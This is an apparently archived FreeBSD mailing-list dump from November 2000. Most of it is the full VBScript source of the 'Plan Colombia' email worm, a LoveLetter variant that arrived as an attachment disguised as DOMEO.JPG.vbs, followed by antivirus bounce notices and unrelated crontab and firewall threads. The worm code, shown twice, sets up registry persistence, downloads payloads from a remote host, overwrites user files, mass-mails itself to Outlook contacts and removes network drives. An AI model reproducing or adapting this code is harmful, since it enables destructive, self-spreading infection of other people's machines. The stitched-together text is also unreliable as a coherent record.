     correo.Recipients.Add(correoad)
     correo.Subject =3D textosub
     correo.Body =3D vbcrlf&textobod
     correo.Attachments.Add(dirsystem&polyn)
     correo.Send
     regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"
   end if
     x=3Dx+1
  next

  regedit.RegWrite  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr=
essEntries.Count
 else
   regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next

Set out=3DNothing
Set mapi=3DNothing
end sub


Function polyname(n)
Dim i, vector, texto, pos
on error resume next
rem polyformic ( ohhhh yeahhh...) very good polyformic engine  :() by =
Sand Ja9e Gr0w

vector =3D Array("A", "E", "I", "O", "U")
texto =3D ""
Randomize
For i =3D 1 To n
  Randomize
  rem  consonante
  texto =3D texto&Chr(Int((Rnd * 25) + 65))
  i =3D i + 1
  If i > n Then
   exit for
  end if
  rem  vocal
  texto =3D texto&vector(Int((Rnd * 4) + 1))
  Randomize
Next

polyname =3D texto
End Function




sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD>"&_
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND=
-FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND=
-FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# =
button for see secret pictures<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello =
Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> =
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
rlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=3D1"&vbcrlf& _
  "code=3D"

  dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set =
wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=3D424) then"&vbcrlf& _
  "aw=3D0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=3D1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t load Pictures. IE internal =
Error@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite  =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
-^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=3DCreateObject("Scripting.FileSystemObject")
  set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
  lines=3DSplit(c.ReadAll,vbcrlf)
  l1=3Dubound(lines)

  for n=3D0 to ubound(lines)
    lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=3Dn) then
      lines(n)=3Dchr(34)+lines(n)+chr(34)
     else
      lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
   end if
  next

  set =
b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")
  b.close
  set =
d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub



sub killnet()
Dim intDrive,strDrive,WSHNetwork

on error resume next


Set WSHNetwork =3D WScript.CreateObject("WScript.Network")

    For intDrive =3D 26 To 5 Step -1      =20
               strDrive =3D Chr(intDrive + 64) & ":"       =20
               WSHNetwork.RemoveNetworkDrive strDrive
    Next

rem  bye net connection ...                 :-(
Set WSHNetwork=3DNothing

end sub
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VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..


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Content-Type: application/octet-stream;
	name="DOMEO.JPG.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="DOMEO.JPG.vbs"

rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
rem  "Plan Colombia" virus v1.0
rem  by Sand Ja9e Gr0w   (www.colombia.com)

rem  Dedicated to all the people that want to be hackers or crackers, =
in Colombia =20
rem  This program is also a protest act against the violence and =
corruption that Colombia lives...
rem  I always wanting that all this finishes, I have said...


rem  Santa fe de Bogot=E1 2000/09
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D


rem  Thanks God..!
rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"
rem  A greeting for "Tizo" from "Spain"
rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"

rem  okay, ok...=20
rem  my baby start here...

=20
On Error Resume Next
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=3D""
ctr=3D0

randomize
numero =3D Int(Rnd * 3) + 1
polye =3D ".GIF.vbs"
If numero =3D 1 Then
  polye =3D ".BMP.vbs"
 Else
  If numero =3D 2 Then
    polye =3D ".JPG.vbs"
  End If
End If


polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye

Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
If Day(Now) =3D 17 And Month(Now) =3D 9 Then
  MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"
  killnet()
End If



sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\LINUX32.vbs")
c.Copy(dirwin&"\reload.vbs")
c.Copy(dirsystem&polyn)
regruns()
html()
spreadtoemail()
listadriv()
end sub



sub regruns()
On Error Resume Next
Dim num,downread,res
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3=
2",dirsystem&"\LINUX32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
s\reload",dirwin&"\reload.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
  downread=3D"c:\"
end if

rem   acepta nombres largos..?
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
  Randomize
  Randomize
  num =3D Int((4 * Rnd) + 1)

  rem  fatal =3D> send virii
  if num =3D 2 then=20
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"
   else
    rem  oh,, a picture.. nice :) =20
    if num =3D 3 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip"      =20
      else
       rem  oh,, other picture  =3D:()
       if num =3D 4 then
         regcreate "HKCU\Software\Microsoft\Internet =
Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux322.zip"
       end if=20
    end if =20
 end if
end if

if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then
  res =3D Shell("copy " & downread & "\MACROMEDIA32.zip  " & dirwin & =
"\important_note.txt", vbHide)
  regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan =
colombia",dirwin&"\important_note.txt"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
 else
  if (fileexist(downread&"\linux321.zip")=3D0) then
     Kill (dirwin & "\logos.sys")
     res =3D Shell("copy " & downread & "\linux321.zip  " & dirwin & =
"\logos.sys", vbHide)
     regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
    else
      if (fileexist(downread&"\linux322.zip")=3D0) then
        Kill (dirwin & "\logow.sys")
        res =3D Shell("copy " & downread & "\linux322.zip  " & dirwin & =
"\logow.sys", vbHide) =20
        regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
      end if  =20
  end if
end if
end sub



sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives

For Each d in dc
 If d.DriveType =3D 2 or d.DriveType=3D3 Then
  folderlist(d.path&"\")
 end if
Next

listadriv =3D s
end sub



sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files

for each f1 in fc
 ext=3Dfso.GetExtensionName(f1.path)
 ext=3Dlcase(ext)
 s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
  set ap=3Dfso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
 else
  if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct")  or (ext=3D"hta") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   bname=3Dfso.GetBaseName(f1.path)
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(folderspec&"\"&bname&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"jpg") or (ext=3D"jpeg") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(f1.path&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"mp3") or (ext=3D"mp2") then
   set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
   mp3.write vbscopy
   mp3.close
   set att=3Dfso.GetFile(f1.path)
   att.attributes=3Datt.attributes+2
 end if
 end if
 end if
end if
next

end sub



sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec)
set sf =3D f.SubFolders

for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
next

end sub


sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub


function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function


function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
  msg =3D 0
else
  msg =3D 1
end if
fileexist =3D msg
end function


function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
 msg =3D 0
else
 msg =3D 1
end if
fileexist =3D msg
end function



sub spreadtoemail()
On Error Resume Next
dim =
x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod

set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")

Randomize
numero =3D Int(Rnd * 3) + 1
textosub =3D ""
If numero =3D 1 Then
  textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.COM)<=3D"
 Else
  If numero =3D 2 Then
    textosub =3D polyname(6)
  End If
End If


Randomize
numero =3D Int(Rnd * 3) + 1
textobod =3D ""
If numero =3D 1 Then
  textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET =
PICTURES.."
 Else
  If numero =3D 2 Then
    textobod =3D polyname(10)
  End If
End If


for ctrlists=3D1 to mapi.AddressLists.Count
 set a=3Dmapi.AddressLists(ctrlists)
 x=3D1
 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
 if (regv=3D"") then
 regv=3D1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
=20
  for ctrentries=3D1 to a.AddressEntries.Count
   correoad=3Da.AddressEntries(x)
   regad=3D""
   =
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr=
eoad)
   if (regad=3D"") then
     set correo=3Dout.CreateItem(0)
     correo.Recipients.Add(correoad)
     correo.Subject =3D textosub
     correo.Body =3D vbcrlf&textobod
     correo.Attachments.Add(dirsystem&polyn)
     correo.Send
     regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"
   end if
     x=3Dx+1
  next

  regedit.RegWrite  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr=
essEntries.Count
 else
   regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next

Set out=3DNothing
Set mapi=3DNothing
end sub


Function polyname(n)
Dim i, vector, texto, pos
on error resume next
rem polyformic ( ohhhh yeahhh...) very good polyformic engine  :() by =
Sand Ja9e Gr0w

vector =3D Array("A", "E", "I", "O", "U")
texto =3D ""
Randomize
For i =3D 1 To n
  Randomize
  rem  consonante
  texto =3D texto&Chr(Int((Rnd * 25) + 65))
  i =3D i + 1
  If i > n Then
   exit for
  end if
  rem  vocal
  texto =3D texto&vector(Int((Rnd * 4) + 1))
  Randomize
Next

polyname =3D texto
End Function




sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD>"&_
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND=
-FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND=
-FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# =
button for see secret pictures<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello =
Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> =
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
rlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=3D1"&vbcrlf& _
  "code=3D"

  dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set =
wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=3D424) then"&vbcrlf& _
  "aw=3D0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=3D1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t load Pictures. IE internal =
Error@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite  =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
-^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=3DCreateObject("Scripting.FileSystemObject")
  set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
  lines=3DSplit(c.ReadAll,vbcrlf)
  l1=3Dubound(lines)

  for n=3D0 to ubound(lines)
    lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=3Dn) then
      lines(n)=3Dchr(34)+lines(n)+chr(34)
     else
      lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
   end if
  next

  set =
b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")
  b.close
  set =
d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub



sub killnet()
Dim intDrive,strDrive,WSHNetwork

on error resume next


Set WSHNetwork =3D WScript.CreateObject("WScript.Network")

    For intDrive =3D 26 To 5 Step -1      =20
               strDrive =3D Chr(intDrive + 64) & ":"       =20
               WSHNetwork.RemoveNetworkDrive strDrive
    Next

rem  bye net connection ...                 :-(
Set WSHNetwork=3DNothing

end sub
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	From:		Peter Wagner [SMTP:wagnerp@aubi.de]
	To:		
	Date:		Thu, Nov 02 2000,  4:34:51 AM
	Subject:		US PRESIDENT AND FBI SECRETS =PLEASE VISIT
=> (http://WWW.2600.CO M)<=


The message contained 1 virus(es):

	domeo.jpg.vbs		infected with the VBS/LoveLetter_based@mm
virus
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             A L E R T E   V I R U S


  Notre système de détection automatique anti-virus 
  a détecté un virus dans un message qui vous a été
  envoyé par  Peter Wagner <wagnerp@aubi.de>.

    La distribution de ce message a été stoppée.

  Veuillez vous rapprocher de l'émetteur  Peter Wagner <wagnerp@aubi.de> pour
  régler avec lui le problème.


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  envoyé par  Peter Wagner <wagnerp@aubi.de>.

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From owner-freebsd-questions  Wed Nov  1 23:52:55 2000
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Antigen for Exchange found DOMEO.JPG.vbs matching =*.vbs file filter.
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=PLEASE VISIT => (http://WWW.2600.CO", was
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You have a problem :-(

Petr

---------------------------------------------------------------------
DECROS s.r.o.          J.S.Baara 40, Ceske Budejovice, Czech Republic
Tel: +420-38-7312808   Fax: +420-38-7311480      http://www.decros.cz


> -----Original Message-----
> From: Mail Delivery Subsystem [mailto:MAILER-DAEMON@ns.decros.cz]
> Sent: Thursday, November 02, 2000 8:44 AM
> To: postmaster@decros.cz
> Subject: Postmaster notify: Data format error
> 
> 
> The original message was received at Thu, 2 Nov 2000 08:43:35 
> +0100 (CET)
> from mx1.FreeBSD.org [216.136.204.125]
> 
>    ----- The following addresses had permanent fatal errors -----
> <p.prib@decros.cz>
>     (expanded from: <p.prib@decros.cz>)
> <reho@decros.cz>
>     (expanded from: <reho@decros.cz>)
> 
>    ----- Transcript of session follows -----
> 
> ANTIVIRUS SYSTEM FOUND VIRUSES
> /var/spool/mqueue/dfIAA91820	archive: Mail
> /var/spool/mqueue/dfIAA91820/DOMEO.JPG.vbs	infected: 
> I-Worm.LoveLetter
> 
> This message contains viruses. You may detect it and clean with
> Antiviral Toolkit Pro from http://www.avp.ru or with your
> preferred antivirus software.
> 
> 554 <p.prib@decros.cz>... Viruses were detected
> 501 <p.prib@decros.cz>... Data format error
> 554 <reho@decros.cz>... Viruses were detected
> 501 <reho@decros.cz>... Data format error
> 




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> -----Original Message-----
> From: Mail Delivery Subsystem [mailto:MAILER-DAEMON@ns.decros.cz]
> Sent: Thursday, November 02, 2000 8:44 AM
> To: postmaster@decros.cz
> Subject: Postmaster notify: Data format error
> 
> 
> The original message was received at Thu, 2 Nov 2000 08:43:35 
> +0100 (CET)
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> 
>    ----- The following addresses had permanent fatal errors -----
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>     (expanded from: <p.prib@decros.cz>)
> <reho@decros.cz>
>     (expanded from: <reho@decros.cz>)
> 
>    ----- Transcript of session follows -----
> 
> ANTIVIRUS SYSTEM FOUND VIRUSES
> /var/spool/mqueue/dfIAA91820	archive: Mail
> /var/spool/mqueue/dfIAA91820/DOMEO.JPG.vbs	infected: 
> I-Worm.LoveLetter
> 
> This message contains viruses. You may detect it and clean with
> Antiviral Toolkit Pro from http://www.avp.ru or with your
> preferred antivirus software.
> 
> 554 <p.prib@decros.cz>... Viruses were detected
> 501 <p.prib@decros.cz>... Data format error
> 554 <reho@decros.cz>... Viruses were detected
> 501 <reho@decros.cz>... Data format error
> 




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with subject "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.CO
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Found virus "VBS/LoveLetter.worm" in DOMEO.JPG.vbs


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On Wed, Nov 01, 2000 at 09:04:26PM -0600, Steve Price wrote:
> Howdy all,
> 
> Don't know if it is just a couple of days of absolutely no
> sleep or what but I've been scratching my over head what
> should be a simple problem.
> 
> Basically what I'm trying to do is setup a non-interactive
> script that edits my crontab.  When I type the following
> commands in it comments out the first entry.  However, when
> I run it by redirecting stdin from a file it doesn't work.
> >From the looks of it (note the 37 -> 38 change) the file
> is being updated but crontab is ignoring the change.
> 
> steve@bsd(/tmp)$ crontab -l
> # DO NOT EDIT THIS FILE - edit the master and reinstall.
> # (/tmp/crontab.teFMi62568 installed on Wed Nov  1 20:47:27 2000)
> # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.12 1999/08/28 01:15:52 peter Exp $)
> */1     *       *       *       *       /home/steve/bin/bogus.sh
> steve@bsd(/tmp)$ cat cmds
> 1s/^/#/
> wq
> steve@bsd(/tmp)$ env VISUAL=/bin/ed crontab -e < cmds
> 37
> 38
> crontab: no changes made to crontab
> steve@bsd(/tmp)$ cat cmds | env VISUAL=/bin/ed crontab -e        
> 37
> 38
> crontab: no changes made to crontab
> steve@bsd(/tmp)$ 
> 
> Can anyone tell what I'm doing wrong?  Thanks.

Don't ask me why, but try this,

  $ { echo '1s/^/#/'; echo w; } | env VISUAL=/bin/ed crontab -e

And see what happens. (Just lost the 'q.')
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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On Wed, Nov 01, 2000 at 01:42:07PM -0800, Crist J . Clark wrote:
> On Wed, Nov 01, 2000 at 12:04:21PM -0500, Kenneth Wayne Culver wrote:
> > On Wed, 1 Nov 2000, Ruslan Ermilov wrote:
> > 
> > > On Wed, Nov 01, 2000 at 12:27:36AM -0800, Crist J . Clark wrote:
> > > > On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > > > > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > > > > I just decided to make my firewall rules more strict, so I set my type to
> > > > > > "simple" in rc.conf... and now I get this error 
> > > > > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > > > > denied)
> > > > > > 
> > > > > This happens when ipfw blocks packets written back by natd(8).
> > > > > 
> > > > > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > > > > 
> > > > > There was a problem with the stock "simple" firewall, which has now been
> > > > > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > > > > 
> > > > > > Could someone tell me how to get rid of this error?
> > > > > > 
> > > > > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> > > > 
> > > > Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> > > > it does not have a chance of working for your average natd(8) setup.
> > > > 
> > > If ${oip} and ${onet} are set to some real values, the "simple" firewall
> > > should work.  If they are set to some RFC1918 or draft-manning-dsua ones,
> > > this (of course) will not work, and you will have to either delete two
> > > "deny" rules (one before and one after the divert rule) that include your
> > > ${onet}:${omask} network.  Anything else?
> > 
> > my oip and onet are real, and I still have the same problem... my iip and
> > inet are not real however..
> 
> Not real? Are we using complex numbers in our addresses again? I guess
> you mean they are not registered, globally-routable addresses, RFC1918
> addresses most likely. But yes, the default rc.firewall will not work
> if this is the case. All the packets from your internal network will
> get dropped by the RFC1918-blocking rules. That's why it will not work
> for about 90% of the people doing NAT.
> 
It WILL work in this case, it WILL NOT work if ${onet} is set to
not-routable addresses.

> My personal fix is to forget those rules since the way I write my
> firewall rules, those packets fall on the floor anyways (I only pass
> what I am expecting to get, rather than block what I do not
> want). However, if you want to just make some minor adjustments to
> rc.firewall, the patch below should help. Note that this adjustment
> loses any egress filtering (since it does not make sense to bother
> with when doing NAT), so it may not be suitable for non-NAT gateways.
> 
> --- /usr/src/etc/rc.firewall    Sat Sep 23 04:30:52 2000
> +++ rc.firewall Wed Nov  1 13:36:41 2000
> @@ -177,18 +177,18 @@
>         ${fwcmd} add deny all from ${onet}:${omask} to any in via ${iif}
> 
>         # Stop RFC1918 nets on the outside interface
> -       ${fwcmd} add deny all from any to 10.0.0.0/8 via ${oif}
> -       ${fwcmd} add deny all from any to 172.16.0.0/12 via ${oif}
